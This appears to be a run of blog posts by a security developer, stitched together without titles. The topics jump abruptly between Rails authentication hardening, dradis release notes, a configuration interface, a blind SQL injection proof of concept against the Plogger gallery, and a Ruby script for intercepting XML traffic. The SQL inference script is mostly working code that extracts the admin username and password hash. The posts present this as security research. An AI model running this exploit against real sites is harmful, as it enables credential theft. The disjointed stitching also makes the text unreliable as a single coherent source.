The summary of the features of the v1.2 release:

• in the client:
  • export to XML module is now part of the standard module set.
  • a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.
  • fixed the window.rb:159 bug.
• in the server:
  • a slightly less annoying implementation of the web interface auto refresh functionality.
  • the services added through the web interface can have a name now
  • simple prevention against embedded XSS.

You can also download the platform-independent ruby source in the download section of the site.

Things that will be covered include:

• remove the need of a login
• the use of an activation email, the application will require it’s users to activate their accounts upong sign up.
• howto get rid of the remember me functionality (just in case you don’t need it).
• howto strengthen a bit the default security of the framework.

If you started a blank application with the first series, you can seamlessly continue with the instructions of this post from were we left it on the first part of this howto. Otherwise, you can grab the code of restauthz application, a small rails application that I have created and that can be used as a proof of concept out of the box. Let’s get this thing going.

Before we start, just a gentle reminder, be sure to include AuthenticationSystem in ApplicationController:-

include AuthenticatedSystem
# Filter the password and password_confirmation 
# fields from the log files
filter_parameter_logging :password, :password_confirmation

no login, just email

The first step is to remove the login field from the User migration, this will ensure that we do not use it in the code

We also need to remove the revelant validatiors in the User model. In addition to this, some changes to the authenticate are required:-

def self.authenticate(email, password)
  u = find_in_state :first, :active, :conditions => {:email => email} # need to get the salt
  u && u.authenticated?(password) ? u : nil
end

We also need to update the call to this function in the SessionsController (line 9):-

self.current_user = User.authenticate(params[:email], params[:password])

And that’s it. It wasn’t that difficult, was it?

email activation

The only thing that we are going to tweak is the templates provided by restful_authentication.

In ./app/model/user_mailer.rb you can modify the email headers such as the subject and from address. The body of the emails is located under ./app/views/user_mailer/.

The system sends to the users two emails, one after signup (this one contains the activation link) and one once the user has activated the account.

By default the templates contain the newly created user’s password, which is something that is controversial to say the least. I decided to get rid of the password, but this depends on your needs more than anything else.

remember me

Another feature that is application dependant is the use of a remember me functionality: a check box in the login form that would cause the application to store an authentication token in the user’s cookie so the next time the user visits the site does not have to authenticate again. I decided to nail down this example to the very basics, so no remember me functionality in this instance.

This can be accomplished by making some modifications to the AuthenticatedSystem#current_user function:

def current_user
  #@current_user ||= (login_from_session || login_from_basic_auth || login_from_cookie) unless @current_user == false
  # only session based login for the time being
  @current_user ||= login_from_session unless @current_user == false
end

In the previous code, the @current_user variable is only set through the session, no HTTP Basic (careful if you have ActiveResource clients) or remember me cookie.

security tweaks

password policy
A strong password policy is enforced by means of rails’ validate_format_of. In the User model:-

class User < ActiveRecord::Base
  [...]  
  validates_format_of :password, 
    :with => /^(?=.*\d)(?=.*([a-z]|[A-Z]))([\x20-\x7E]){8,40}$/,
    :message =&gt; 'chosen is not complex enough!'
  validates_format_of :email, 
    :with => /^([a-zA-Z0-9_'+*$%\^&!\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9:]{2,4})+$/, 
    :message => 'field does not look like an email.'
  [...]
end

In the code above we match both the email and the password against regular expressions to verify the syntax.

The regular expression for the password was taken from Using Regular Expression in Ruby on Rails — Regexp for Password Validation:-

Lets say we have to implement the following validations to validate a password:
* Password should contain atleast one integer.
* Password should contain atleast one alphabet(either in downcase or upcase).
* Password can have special characters from 20 to 7E ascii values.
* Password should be minimum of 8 and maximum of 40 cahracters long.

password with salt & pepper

Storing a password in plaintext may result in a system compromise (OWASP).

Conveniently enough, restful_authentication uses a hash function to protect user passwords: the SHA-1. It also uses a salt. Here are however two tricks to increase the security of the default setup:

First we are going to hash the password with salt and pepper. The salt is specific to each user and will be stored in the database along with the user’s hashed password. If an attacker can compromise the database, they would have access to both the salt and the hash and brute force attacks could be mounted by using custom scripts or rainbow tables. The trick here is to add a second component, the pepper. The pepper is another random string that will be used to add some extra entropy to the password hashing process. In our implementation the same pepper will be used for all the users and it will be stored in the code. If an attacker gains access to the database, no successful brute force attack can be mounted without knowing the pepper. If an attacker gains access to both the database and the code…

You can easily generate your pepper using something like this in code in irb:-

require 'digest/sha2'
s = ''
chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
1.upto(4) { |i| s < < chars[rand(chars.size-1)] }
s += Time.now.to_s
1.upto(4) { |i| s << chars[rand(chars.size-1)] }
Digest::SHA256.hexdigest(s)
=> "9fa4c6519da9d2121bc42be1d63813f591bba8ece5b753e6ceefed00f15e5342"

The random character generation was taken from generate a random password.

And second, we can upgrade the system to use the more secure SHA-256 both for the hashed password and the salt. We will keep SHA-1 for the sake of variety

In order to accomplish this, some modifications are needed to the ./app/model/user.rb. First we need to include the required files:-

# sha1 for activation code. sha2 for the passwords
require 'digest/sha1'
require 'digest/sha2'

Then the password encryption function:-

# We are using both, salt and peper to hash the 
# password. The new password hash uses 
# SHA2.hexdigest
def self.encrypt(password, salt)
  pepper = '9fa4c6519da9d2121bc42be1d63813f591bba8ece5b753e6ceefed00f15e5342'
  Digest::SHA256.hexdigest("--#{salt}--#{password}--#{pepper}--")
end

And the salt generation function:-

# The salt is also created using SHA256
def encrypt_password
  return if password.blank?
  self.salt = Digest::SHA256.hexdigest("--#{Time.now.to_s}--#{email}--") if new_record?
  self.crypted_password = encrypt(password)
end

In order to store the new hash, we need to increase the length of the salt and crypted password fields in the database. This can be done in the migrations file:-

t.column :crypted_password,          :string, :limit => 64
t.column :salt,                      :string, :limit => 64

summary

So that was it, the restauthz application should cover all the needs to get you started with restful_authentication. There is still room for improvement, think the I forgot my password functionality, or a facility for your users to change their passwords, but that is definitely another story

• A no non-sense authentication: just email and password. No bells, no wistles.
• The system should send an activation email after the user signs up.

Let’s explore the alternatives

The haystack…

As stated elsewhere acts_as_authenticated is a neat solution that just gets out of the way. It is nice and easy to integrate. However, it is a bit too simple. loginsugar seemed to be a suitable alternative with ActionMailer integration out of the box.

I decided to give it a try. It has a good documentation that walks you through the process of integrating it in your app, but it did not seem to be a goal too easy to accomplish

What I finally decided was to take specific bits and pieces of the loginsugar and integrate them with plain old acts_as_authenticated.

First step of the process: I created a brand new project and installed the acts_as_authenticated plugin. It was surprising to find the following line in the README file:

DEPRECATED: Use restful_authentication instead. Or, ask me for commit rights if you wish to maintain this plugin.

… So I was right back at the begining, everybody recommended acts_as_authenticated but acts_as_authenticated recommended restuful_authentication… I thought that if acts_as_authenticated is recommending something, it has to be good And I decided to give restuful_authentication a try.

… and the needle

Lets get out hands dirty, create a new project and install the plugin with:-

$ ./script/plugin  install http://svn.techno-weenie.net/projects/plugins/restful_authentication/

It turns out that the plugin has the activation email functionality out of the box, the only requirement is the use of a few command line options:-

$ ./script/generate authenticated
Usage: ./script/generate authenticated ModelName [ControllerName]

Options:
        --skip-migration             Don't generate a migration file for this model
        --include-activation         Generate signup 'activation code' confirmation via email
        --stateful                   Use acts_as_state_machine.  Assumes --include-activation
        --rspec                      Force rspec mode (checks for RAILS_ROOT/spec by default)

We need to include the --include-activation for the email, which in turn requires --stateful. The idea is that you are going to associate a small state machine to each user. From signed up, to pending; after the user actives the account, the status changes to active, etc.

It is quite neat. However it has the drawback that requires another plugin: acts_as_state_machine, but more on that later.

In order to generate your user model and your session controller, you need to issue the following:-

$ ./script/generate authenticated user sessions \
                --include-activation \
                --stateful

This generates the required files. It also creates the routes to the user and session resources in ./conf/routes.rb:-

#[...]
map.resources :users
map.resource :session
#[...]

However, as the README file suggests we need to modify the :users resource as follows:-

map.resources :users, :member => { :suspend => :put, :unsuspend => :put, :purge => :delete }

An extra line in ./config/environment.rb is also required (make sure you include it inside the Rails::Initializer.run block):-

config.active_record.observers = :user_observer

The next step is to install the acts_as_state_machine plugin and to run rake db:migrate to initialize the database:-

$ ./script/plugin install http://elitists.textdriven.com/svn/plugins/acts_as_state_machine/trunk
[...]
$ rake db:migrate

Now you are set. Feel free to run rake that all the tests will pass without warnings. Only one tip from the restful_authentication railscast: to get short urls for signup, login and logout add the following to your ./config/routes.rb:

map.signup '/signup', :controller => 'users', :action => 'new'
map.connect '/activate/:activation_code', :controller => 'users', :action => 'activate'
map.login '/login', :controller => 'sessions', :action => 'new'
map.logout '/logout', :controller => 'sessions', :action => 'destroy'

Fine tune

So here we are all set with the authentication framework in place. From here on it is about customization and fine tunning. Note that the activation email feature requires an either an email server running on the same box or some ActionMailer configuration in order for it to work.

In the second part of this series we will go back to our basic need: get rid of the login field (we only need an email). This and other tweaks will be demonstrated in a tiny app that fully implements the concepts explained here. Part 2 is here! restful_authentication howto, step-by-step (part 2).

Since this is not an easy choice we can mitigate the impact of making the decision upfront by doing some interface based design.

I am going to use dradis as an example, but the code and philosophy are project independent.

First we put an interface together with all the methods that our configuration handling implementation will require. The ParserInterface should be implemented by all the different configuration parsers (xml, yaml, etc.). The idea is that the application and it’s modules will only access methods defined in this interface:-

module ParserInterface
  # Given an option name (as a symbol) this function 
  # retrieves the value stored in the configuration 
  # file for it.
  def get_option(key)  
    raise 'unimplemented!'
  end

  # Store the given +value+ under the +key+ in the config 
  # provider.
  def put_option(key, value)
    raise 'unimplemented!'
  end
      
  # Store the configuration settings in the backend 
  # provider.
  def save
    raise 'unimplemented!'
  end
end

We have defined methods for storing, retrieving and saving the configuration. It is true that the save may not be necessary if the implementation stores information in, for example, a database, however the advantage of having this method is that we are allowing our implementation to have a cached copy of the configuration settings in memory and only write them to the backend once the save method is called.

Ruby does not have native support for interfaces, this is why the ParserInterface is a ruby module and only defines methods that raise exceptions. We will include this module in our implementations, in doing so, the implementing classes will respond to the get_option, put_option and save methods straight away, but if the application calls any of them an exception will be thrown unless a valid implementation has been provided.

For dradis we are using an XML file as the backend configuration storage. The XMLParser class. The full contents on the file can be accessed through the subversion repository in: /dradis/client/branches/orko2.0-etd/core/config.rb. I have included below the interesting bits and pieces:-

# to handle the XML part of it
require 'rexml/document'

class XMLParser
  # include the interface
  include ParserInterface

#[...]

# copy from the file into a hash in memory (initialize)
    @src = REXML::Document.new(File.new(@file))
    @options = {}
    @src.elements.each('dradis/option') do |element|
      @options[element.attributes['name'].to_sym] = element.attributes['value']
    end

# get_option and put_option are straightforward

# [...]

  def save
    # if no change has been made to the configuration, do 
    # not bother overwriting the file
    return unless @modified
    @options.each do |name, value|
      elements = @src.get_elements("dradis/option[@name='#{name}']")
      if (elements.size.zero?)
        # a new element needs to be created
        @src.root.add_element( 'option', { 'name' => name, 'value' => value})
      else
        # update the existing element
        elements.first.attributes['value'] = value
      end
    end

    # use the Pretty formater to indent the file :)  
    fmt = REXML::Formatters::Pretty.new(2)
    fmt.write( @src, File.new(@file, 'w') )
  end

# [...]
end # class

The only performance trick that I am using is the @modified variable that flags whether a change has been made to the configuration settings during the current session or not. If no change was made, there is no need to dump the @options hash back into the file.

• New client GUI that runs in Linux, Windows and Mac OS (screenshots).
• New web interface.
• Improved step-by-step installation instructions.
• New contributed modules:
  • Export your Knowledge Base to an XML file.
  • run nmap from dradis and store the results in the knowledge base.

If you want to give it a try, go to the download page. And please let me know any thoughts or feedback (remember that you can use the dradis development mailing list: dradis-devel).

New client GUI

It was too difficult to get the Qt interface running in Windows and Mac platforms, so we have decided to create a new graphical interface, this time truly multi-platform using the WxWdiget toolkit (and the ruby bindings for the toolkit: wxruby).

It runs seamlessly in Linux, Windows and Mac OS. Here are some screenshots:-

If you want to see more, visit the screenshots page.

New web interface.

Because we were struggling to get the old interface running in anything different than Linux, we thought that in order to make the platform more flexible and portable a new web interface should be created.

We took the old one apart and started a brand new dynamic web interface that would enable the testers to use dradis as if they had a thick client installed. The screenshots page will give you a grasp of its power.

New contributed modules

Some new amazing plugins contributed by the dradis community were released with version v1.1:-

• Export your Knowledge Base to an XML file.
• run nmap from dradis and store the results in the knowledge base.

Find these and other modules in the discuss & contribute section.

There is also a new set of slides by Sibert Lubbe on “dradis plugin programming”. Find them in the developer manual section of the documentation page.

Now it’s time to see a hands on example on how to exploit a SQL injection vulnerability using this technique. Please note that the intended audience of this article are security researchers that want to gain a deeper knowledge on the nature and internals of SQL inference attacks.

As it is usually the case, depending on the available information beforehand the SQL inference attack that we need to create will vary on its sophistication.

In the Plogger example we have plenty of information, remember that it is and open source tool that you can download and install. However, since SQL inference is a complex vulnerability to exploit a stripped down version of the attack is used in this example.

In the Plogger example we know the underlaying database structure, the field names and the possible values, we will use that knowledge to create a simplified SQL inference attack based on some restrictions. A full blown example of inference attack using binary comparisons is left for the third part of this series of articles.

Let’s have a look at the interesting bits of the code of a proof of concept:-

# configure the parameters of the target system
$host = 'localhost'
$path = '/gallery/plog-rss.php?level=collection&id=1'

$body_size_success = 967
$body_size_failure = 322

# configure the parameters of the fields whose values we want to infer
$fields = ['admin_username', 'admin_password']
$field_length = [5, 32]
$dictionaries = ['admin', '0123456789abcdef']

The first part of the script contains the configuration information regarding our target. Apart from host name and path to the vulnerable script we define two other sets of information:

• The $body_size_success needs to be adjusted to match the expected length of a full RSS feed, this is the expected size of the HTML code that a clean execution of the injected SQL will return. This size can be measured by doing a legitimate request to the vulnerable script and noting down the value of the content-length header. Our injected SQL can have two possible outcomes, if we correctly guessed the value we are looking for, an RSS feed containing all the elements of the collection will be returned. If on the other hand we make a mistake in our guess, an empty, although syntactically correct, RSS feed will be returned.
• Information on the names, expected lengths and possible values found in the fields we want to infer should be provided. As mentioned before, we are taking advantage of the knowledge we have of the back end database:
  • We will try to infer two fields: admin_username and admin_password.
  • We expect these fields to be of lengths 5 (Ploggers’ default administrative user name is admin) and 32 (the password is stored in MD5 hashed format).
  • We will try the following dictionary for the username: a, d, m, i, n . For the password, all possible Hex values are fair play: 0-9, a-f.

The next thing to do is to craft a custom SQL query that will execute cleanly:-

# define the SQL string we will be using to actually perform the attack
$sql = CGI::escape(' AND 1=(SELECT CASE WHEN (ASCII(SUBSTR(FIELD,POSITION,1))=TEST_VALUE) THEN 1 ELSE 0 END FROM plogger_config)')

As mentioned in the first article (sql injection: inference attack) of this series:

At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z.

In this case we are using the SUBSTR function to walk through the different positions of a given field to compare the character at that position with the one at TEST_VALUE. This is done in the following section of the script:-

# for each field, from position 1 to that defined in $field_length, iterate
# through the different values of our dictionary and send the SQL query.
$fields.each do |field|
  dict = $dictionaries.shift
  size = $field_length.shift
  inferred = ''
  puts "Inferring #{field}"
  puts '=================='
  sql1 = $sql.sub(/FIELD/,field)
  (1..size).each do |i|
    print "\tPosition #{i}: "
    sql = sql1.sub(/POSITION/,i.to_s)
    (0..(dict.size-1)).each do |j|
      value = dict[j]
      resp = http.get($path + sql.sub(/TEST_VALUE/, value.to_s))

      # a particular iteration is successful if the size of the body obtained
      # matches the value we expect
      if (resp.body.size == $body_size_success)
        puts value.chr
        inferred << value.chr
        break
      end
    end
  end
  puts "\tInferred value: #{inferred}"
  $results << inferred
end

The comments in the previous code should give sufficient insight to understand the process. The bottom line: we need to make a series of checks for each position of the value we want to infer. Thes checks have two possible different outcomes, in our case, two different lengths of the HTML code, depending on these outcomes we can infer whether our guess was right or wrong.

As a final note, it should be clear that the specifics of the SQL query, as with any SQL injection attack, is highly dependant on the SQL engine that we are attacking and the SQL functions available in this engine.

$ ./script/server

Open a browser and access: http://localhost:3000/.

The database provided contains some default categories and tasks. To remove them just go to the application directory and execute the following:

$ ./script/console
>> Task.find(:all).each do |task| task.destroy end
>> Category.find(:all).each do |category| category.destroy end

This will clear the database (note that you can also accomplish the same using the rake db:migrate command, however, that is another story ). Then you need to add your own categories. Beware that the CSS file is prepared for up to 4 categories. Support for more could be easily added and is left as an exercise . to add you own categories:

Category.add

Please note, that no special security measures have been implemented (SQL injection or XSS prevention). The tool is recommended to be used only in safe environments.

• Slides can be found here.
• Source and examples: here.

The only way we could think of getting our hands on the communication was to write a small set of scripts to trick the client and encapsulate the communication inside HTTP requests that we could then manipulate using standard proxy tools such as burp.

Although the information and scripts described in this post are focussed on intercepting a XML communication, the same principles apply to man in the middle any ASCII protocol such as smtp, ftp or pop.

update: slides available here

The first step is to trick the client to connect to our local box instead of connecting to the remote server, this is done by adjusting the hosts file.

A ruby script will sit in the middle of the communication and will be able to intercept and modify messages sent and received by the client:-

Once this is done, our attack will need three elements:

• the xmitm script.
• an external web proxy tool.
• a dummy web server.

The script will intercept the connection and send the data to the proxy. We need the dummy server (the body of the response will be the body of the request) to close the loop with the proxy (I will add some nice graphs to clarify this soon).

The original XML message is encapsulated in an HTTP request and passed through the proxy. The user can inspect and modify the message using a standard web proxy tool. The request is then forwared to a dummy *echo* web server that replies with the same payload that was requested. The script can extract the modified payload and forward it to the server.

The same process is applied to incoming messages.

Below is the main body of the script (you can also grab the code):-

# create a server that accepts connections from the client
server = TCPServer.new($local_host, $local_port)

while(local = server.accept ) do
  # everytime we accept a connection for the client, we open a connection
  # with the server to stablish the dialog.
  remote = TCPSocket.new($remote_host, $remote_port)
  
  # if one of the ends of the communication closes the socket, we
  # toggle this flag
  alive = true
    
  while alive do
    # see the explanation below
    result = select([local, remote], nil, nil)
  
    if result != nil then
      for socket in result[0]

        # detect if one end of the connection is closed and
        # close the other end
        if (socket.eof?)
          local.close
          remote.close
          alive = false
          break
        end
        
        # read the information that one peer wants to send to the other
        data = socket.gets($eom)

        # encapsulate the data into an HTTP proxy request
        res = Net::HTTP.new($proxy_host, $proxy_port).start do |http| 
          req = Net::HTTP::Post.new("http://#{$dummyhttp_host}:#{$dummyhttp_port}/")
          req.body= data
          http.request(req)
        end

        modified_data = res.body.chomp

        # send the modified data to the other end of the connection        
        if (socket == local)
          remote.puts(modified_data)
        else
          local.puts(modified_data)
        end
        socket.flush
      end
    end
  end
end

What the script does can be summarized in the following steps:

1. Create a TCP server, listening on the port the client is expecting.
2. For each connection accepted:
   • Open a connection with the remote server.
   • Wait until one end of the communication (first the client, then the server, then the client, etc.) has something to transmit.
   • Grab the XML message.
   • Put that message as a payload of a new Net::HTTP::Post request.
   • Send the request to the external web proxy.
   • Grab the body of the response given by the proxy (already modified by the user using the external proxy).
   • Send the modified request to the other end of the line.

The most interesting piece of the code is the one regarding Kernel#select function that waits for data to become available from input/output devices.

A note regarding the specifics of the protocol we were dealing with, each peer ends its messages using a special character (a NULL byte), that caracter is defined in the $eom variable and the script keeps reading the socket until that end of message character is read.

The last piece of the puzzle is the dummy HTTP server. I coded two flavours: a ruby version and a java version (not yet available for download based on the SingleFileHTTPServer example). You can pick your choice. Here is the ruby one:-

require 'webrick'

include WEBrick

# create the server, no output, disable logging
s = HTTPServer.new(
  :Port => 2000,
  :Logger => Log.new(nil, BasicLog::FATAL),
  :AccessLog => []  )

# the *echo* functionality
s.mount_proc("/") do |req, res|
  res.body = req.body
  res['Content-Type'] = req['Content-Type']
end

# clean tear down
trap('INT') { s.shutdown }

s.start

And this completes the XML protocol man-in-the-middle DIY kit. Hope you find it useful.

dradis is written in ruby and combines various technologies/libraries. For the server side it uses the Ruby on Rails (RoR) MVC framework, for the client plain ruby and also the Qt library. The documentation page contains useful information on the architecture, instalation process, etc.

It was the development of dradis that lead me to write most of my ruby related posts since last summer. It has been really nice to spend time developing it and I have learned lots of interesting stuff.

dradis is also my first serious contribution to the security community and I am really excited to see what kind of feedback I get.

Before you download it, I recommend you to have a look at the “dradis, an overview” set of slides. You may also find useful two flash videos I created to show what dradis is capable of:

• intro: This video shows how the information is shared between the clients: you add new information from the command line interface and the graphical interface is notified. You can have different clients running different interfaces, they will all share the same information. Play video.
• graphical user interface: Learn what the different elements of the graphical interface are, how to perform basic tasks and how to get help on dradis commands. Play video.

Enjoy, and let me know about your toughts on dradis. Does it look interesting? Have you found it useful? Will it fit in your company way of pentesting?